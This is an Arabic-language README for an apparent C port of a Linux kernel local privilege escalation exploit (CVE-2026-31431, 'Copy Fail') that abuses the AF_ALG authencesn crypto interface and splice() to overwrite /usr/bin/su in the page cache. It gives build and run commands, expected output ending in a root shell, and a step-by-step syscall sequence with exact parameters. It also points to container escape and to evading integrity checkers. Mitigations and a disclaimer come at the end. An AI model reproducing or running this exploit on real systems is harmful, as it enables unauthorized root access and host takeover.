
استغلال تصعيد الامتيازات المحلية مكتوب بلغة C لثغرة CVE-2026-31431، وهي ثغرة في نواة لينكس ضمن واجهة التشفير AF_ALG، توفّر وصولاً بصلاحيات الجذر عبر التلاعب بذاكرة التخزين المؤقت للصفحات.
Copy Fail (CVE-2026-31431) — ثغرة منطقية في نواة لينكس تسمح لمستخدم محلي غير مميز برفع صلاحياته إلى مستوى المستخدم الخارق (root). تنتمي الثغرة إلى فئة رفع الصلاحيات المحلي (Local Privilege Escalation - LPE)، ولا تتطلب شروط استغلال معقدة (مثل سباق الحالة أو تخمين عناوين الذاكرة) وتعمل "مباشرة" على معظم توزيعات لينكس الصادرة بعد عام 2017.
يحتوي هذا المستودع على نسخة منقولة من استغلال Python الأصلي إلى لغة C مع تعليقات مفصلة، مناسبة للترجمة الثابتة والاستخدام في البيئات البسيطة.
تنشأ الثغرة بسبب خطأ منطقي في النظام الفرعي للتشفير في نواة لينكس، مرتبط بمعالجة AF_ALG (واجهة واجهة برمجة التشفير في النواة) وآلية مخزن الصفحات (page cache).
أُدخل الخطأ في عام 2017 عند إضافة تحسين أزال التخزين المؤقت الزائد عبر تنفيذ عمليات التشفير الكتلي AEAD (التشفير المصادق عليه مع البيانات المرتبطة) في المكان (in-place). بسبب المعالجة غير الصحيحة لحدود المخازن المؤقتة في خوارزمية authencesn (جزء من قالب التشفير AEAD)، يحدث كتابة 4 بايت خارج المخزن المؤقت المخصص، مما يؤدي إلى تلف هياكل إدارة مخزن الصفحات.
ونتيجة لذلك، يمكن للنواة كتابة البيانات مرة أخرى إلى مخزن صفحات الملف، حتى لو كان مفتوحًا للقراءة فقط (O_RDONLY).
AF_ALG ويُهيئ خوارزمية AEAD authencesn(hmac(sha256),cbc(aes)).setsockopt() يتم تعيين معاملات شاذة:
sendmsg() مع رسائل التحكم يتم بدء عملية فك التشفير.splice() ينقل البيانات من الملف الهدف (المفتوح بـ O_RDONLY) إلى مقبس التشفير.authencesn، يتلف مخزن صفحات الملف، وتُكتب البيانات "المفكوك تشفيرها" مرة أخرى إلى المخزن.root.التوزيعات المعرضة للخطر (عند استخدام نوى مع تحميل وحدة algif_aead):
أهمية خاصة: في بيئات الحاويات (Docker, LXC, Kubernetes)، تكون العمليات داخل الحاوية قادرة افتراضيًا على الوصول إلى النظام الفرعي AF_ALG إذا كانت وحدة algif_aead محملة في نواة المضيف. وهذا يخلق خطر خرق عزل الحاوية والحصول على السيطرة على الجهاز المضيف.
التحقق من الثغرة:
# التحقق مما إذا كانت وحدة algif_aead محملة
lsmod | grep algif
# التحقق من وجود AF_ALG في النواة
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)
كان الاستغلال الأصلي مكتوبًا بلغة Python (حوالي 732 بايت). تتميز هذه النسخة المنقولة إلى C بالخصائص التالية:
libz.strace).recv() غير محظور — يمنع التعليق، مكررًا سلوك try/except من Python.الاختلافات الرئيسية عن نسخة Python التي تم اكتشافها أثناء النقل:
# يتطلب libz (zlib1g-dev أو zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2
./copyfail
عند نجاح الاستغلال، سيتم تشغيل نسخة معدلة من /usr/bin/su توفر وصول root بدون طلب كلمة مرور.
المخرجات المتوقعة:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su مفتوح
[+] 40 قطعة
[*] 40/40 ناجح
# id
uid=0(root) gid=0(root) groups=0(root)
فيما يلي تحليل مفصل لكل خطوة من خطوات الاستغلال مع الإشارة إلى استدعاءات النظام المقابلة:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);
يتم إنشاء مقبس للوصول إلى واجهة برمجة التشفير في النواة. خوارزمية authencesn (التشفير المصادق عليه مع أرقام تسلسلية) هي خوارزمية AEAD مركبة تستخدم AES-CBC للتشفير و HMAC-SHA256 للمصادقة.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 أصفار), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19 صفرًا), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3 أصفار)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);
يتم إنشاء اتصال للعملية. عبر sendmsg() مع رسائل التحكم (CMSG) يتم تعيين المعاملات:
ALG_OP_DECRYPT = 0).كل هذه الشذوذات تخلق تناقضات في إدارة ذاكرة النواة.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);
splice() — استدعاء نظام لنقل البيانات بين واصفات الملفات بدون نسخ عبر مساحة المستخدم. يتم نقل البيانات على مستوى النواة عبر آلية pipe.
splice(target_fd -> pipe): تنتقل البيانات من الملف الهدف (/usr/bin/su) إلى pipe.splice(pipe -> conn_sock): تنتقل البيانات من pipe إلى مقبس التشفير كـ"نص مشفر".النقطة الأساسية: في Python (وفي هذه النسخة المنقولة)، يتم تمرير الإزاحة للـ pipe كـ NULL، مما يسمح للنواة بإدارة الموضع تلقائيًا.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);
استدعاء recv() يجبر النواة على إكمال عملية التشفير. في الوضع الطبيعي، ستعود هنا البيانات المفكوك تشفيرها، ولكن بسبب المعاملات الشاذة يعود خطأ EBADMSG (Python) أو EAGAIN (C مع O_NONBLOCK). يتم تجاهل الخطأ — تلف مخزن الصفحات حدث بالفعل في مرحلة splice().
مخزن الصفحات (page cache) هو مخزن مؤقت لمحتوى الملفات في الذاكرة العشوائية. عندما يفتح عملية ملفًا عبر O_RDONLY، تسمح النواة بالقراءة فقط من هذا المخزن. ومع ذلك، تسمح الثغرة بتجاوز هذا القيد:
write()، لكن splice() يعمل على مستوى مخزن الصفحات مباشرة، متجاوزًا هذه الفحوصات.تحدث التغييرات فقط في الذاكرة العشوائية، وليس على القرص. وهذا يجعل الهجوم صعب الاكتشاف بواسطة أدوات التحقق من السلامة القياسية. بعد إعادة التشغيل أو مسح مخزن الصفحات، تختفي آثار الهجوم.
تحديث نواة لينكس إلى إصدار يحتوي على التصحيح.
تعطيل وحدة algif_aead:
# منع تحميل الوحدة
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# إلغاء تحميل الوحدة (إذا كانت محملة)
sudo rmmod algif_aead
توصيات إضافية:
AF_ALG عبر ملفات تعريف seccomp./usr/bin/su على القرص؟لا. تحدث التغييرات فقط في مخزن الصفحات (الذاكرة العشوائية). يبقى محتوى الملف على القرص دون تغيير. بعد إعادة تشغيل النظام، يتم مسح مخزن الصفحات ويعود الملف إلى حالته الأصلية.
الاكتشاف ممكن عبر:
auditd, strace).AF_ALG.أدوات التحقق من السلامة القياسية (AIDE, Tripwire) لن تكتشف التغييرات، لأن الملف على القرص يبقى دون تغيير.
يُقدم هذا الكود حصريًا للأغراض التعليمية والبحثية. لا يتحمل المؤلف أي مسؤولية عن أي استخدام لهذا الكود في أغراض غير قانونية. استخدام الاستغلال دون إذن صريح من مالك النظام غير قانوني وقد يؤدي إلى مسؤولية جنائية.
استخدم فقط على الأنظمة التي تملكها، أو على الأنظمة التي لديك فيها إذن كتابي صريح لاختبار الأمان.
| المكوّن | الوصف |
|---|
| نواة لينكس | جميع الإصدارات منذ 2017 حتى لحظة تضمين التصحيح |
| النظام الفرعي | crypto (وحدة algif_aead) |
| الواجهة | AF_ALG — وصول المستخدم إلى واجهة التشفير في النواة |
| استدعاء النظام | splice() بالاقتران مع مقابس AF_ALG |
| المعامل | Python | C (هذه النسخة) |
|---|
علم sendmsg() | MSG_MORE | MSG_MORE |
علم splice() | 0 | 0 |
| الإزاحة في pipe | NULL | NULL |
| حجم المفتاح | 40 بايت | 40 بايت |
cmsg_len | 20/36/20 | 20/36/20 (ثابت) |
| إنشاء pipe | pipe2(fds, O_CLOEXEC) | pipe2(fds, O_CLOEXEC) |
recv() | محظور مع try/except | غير محظور (O_NONBLOCK) |